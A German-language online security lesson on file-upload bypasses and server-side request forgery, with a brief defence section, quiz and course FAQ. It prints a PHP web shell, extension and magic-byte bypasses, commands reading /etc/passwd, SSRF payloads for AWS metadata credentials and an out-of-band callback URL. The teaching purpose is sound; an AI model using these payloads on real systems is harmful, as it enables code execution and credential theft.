Schwachstellen bei Datei-Uploads und SSRF
Umgehen Sie Einschränkungen bei Datei-Uploads, nutzen Sie SSRF zum Zugriff auf interne Dienste aus und verketten Sie Schwachstellen.
Schwachstellen bei Datei-Uploads und SSRF ist eine kostenlose Cyber Security Academy-Lektion auf CoddyKit. Dies ist Lektion 4 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des Cyber Security Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der Cyber Security Academy-Kurs umfasst insgesamt 4 Lektionen.
Schwachstellen beim Datei-Upload
Die Funktion zum Datei-Upload gehört zu den risikoreichsten Funktionen in Webanwendungen. Unzureichende Validierung ermöglicht das Hochladen ausführbarer Dateien (PHP, JSP, ASPX), die der Server anschließend ausführt — dadurch kann Remote Code Execution entstehen.
Einfaches Umgehen des Upload-Schutzes: Erweiterungsfilter
Clientseitige und auf Blacklists basierende Filter für Dateierweiterungen lassen sich umgehen. Versuchen Sie: doppelte Erweiterungen (.php.jpg), unterschiedliche Groß- und Kleinschreibung (.PhP), Null-Bytes (file.php%00.jpg) und alternative Erweiterungen (.php5, .phtml, .phar).
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerMIME-Typ umgehen
Server prüfen häufig den Content-Type-Header statt des tatsächlichen Dateiinhalts. Fangen Sie die Upload-Anfrage in Burp ab und ändern Sie Content-Type von application/x-php in image/jpeg.
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>Magic Bytes umgehen
Einige Server prüfen die Magic Bytes einer Datei (die ersten Bytes der Datei). Stellen Sie gültige Magic Bytes eines Bildes dem PHP-Payload voran, um die Prüfung zu bestehen und gleichzeitig den ausführbaren Inhalt beizubehalten.
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>Web-Shell nach dem Upload
Sobald eine PHP-/JSP-Datei hochgeladen und per URL erreichbar ist, rufen Sie sie auf, um Befehle auszuführen. Die einfachste Web-Shell:
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwdWas ist SSRF?
Server-Side Request Forgery (SSRF) bringt den Server dazu, im Auftrag des Angreifers HTTP-Anfragen an beliebige URLs zu senden. Dadurch können interne Dienste, Cloud-Metadaten-APIs und interne Administrationsoberflächen erreicht werden.
SSRF grundlegend erkennen
Finden Sie Parameter, die URLs akzeptieren (Webhooks, Vorschau-URLs, Fetch-Endpunkte, Bild-URLs). Injizieren Sie interne Adressen und beobachten Sie die Antworten — Zeitüberschreitung, Verbindungsablehnung oder eine gültige Antwort zeigen, was erreichbar ist.
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/AWS-Metadaten-API über SSRF
Der AWS Instance Metadata Service (IMDS) unter 169.254.169.254 stellt Zugangsdaten für IAM-Rollen bereit. SSRF an diesen Endpunkt kann Cloud-Zugangsdaten offenlegen und dadurch die vollständige Kontoübernahme ermöglichen.
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}Blind-SSRF
Wenn der Antworttext nicht zurückgegeben wird, verwenden Sie Out-of-Band-Techniken: Eine DNS-Abfrage an Burp Collaborator bestätigt die Verbindung; ein HTTP-Callback mit Pfaddaten exfiltriert Informationen.
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testTechniken zum Umgehen von SSRF-Filtern
Filter, die offensichtliche interne IPs blockieren, lassen sich umgehen mit: IP-Kodierung (dezimal 0x7f000001 = 127.0.0.1), DNS-Rebinding, alternativen Loopback-Adressen (127.1, 0.0.0.0) und URL-Weiterleitungen.
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostSchutz vor Datei-Upload und SSRF
Datei-Upload: Erlauben Sie nur sichere Erweiterungen per Allowlist, speichern Sie Dateien außerhalb des Web-Roots, benennen Sie Dateien serverseitig um und stellen Sie sie über ein CDN bereit. SSRF: Erlauben Sie nur freigegebene URLs/IP-Bereiche, deaktivieren Sie unnötige Funktionen zum Abrufen von URLs und erzwingen Sie IMDSv2 auf AWS.
Schnelltest
Welche IP zielt ein SSRF-Angriff an, um AWS-Zugangsdaten zu stehlen?
Zusammenfassung: Datei-Upload und SSRF
Fehler beim Datei-Upload führen zu Remote Code Execution; SSRF ermöglicht den Zugriff auf interne Netzwerke und den Diebstahl von Zugangsdaten. Testen Sie Uploads mit Umgehungen von Erweiterungs-, MIME-Typ- und Magic-Byte-Prüfungen. Testen Sie URL-Parameter auf SSRF, indem Sie localhost, interne Subnetze und Cloud-Metadaten-APIs als Ziel verwenden. Beides erfordert Defense in Depth: Allowlists statt Blacklists, Netzwerksegmentierung und Härtung der Cloud-Umgebung.
Häufig gestellte Fragen
Ist die Lektion „Schwachstellen bei Datei-Uploads und SSRF“ kostenlos?
Ja — der vollständige Text von „Schwachstellen bei Datei-Uploads und SSRF“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des Cyber Security Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der Cyber Security Academy-Kurs umfasst insgesamt 4 Lektionen.
Was lerne ich in „Schwachstellen bei Datei-Uploads und SSRF“?
Umgehen Sie Einschränkungen bei Datei-Uploads, nutzen Sie SSRF zum Zugriff auf interne Dienste aus und verketten Sie Schwachstellen. Du übst Cyber Security Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.
Brauche ich Erfahrung, um Cyber Security Academy zu starten?
Keine Vorkenntnisse erforderlich. Cyber Security Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 4 von 4.
Wie lange dauert die Lektion „Schwachstellen bei Datei-Uploads und SSRF“?
Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.
Kann ich in dieser Cyber Security Academy-Lektion Code schreiben und ausführen?
Ja. Jede Cyber Security Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.
Alle Lektionen in diesem Kurs
- Burp-Suite-Proxy und Abfangen von Requests
- Auf Injection-Schwachstellen testen
- Authentifizierungs- und Sitzungstests
- Schwachstellen bei Datei-Uploads und SSRF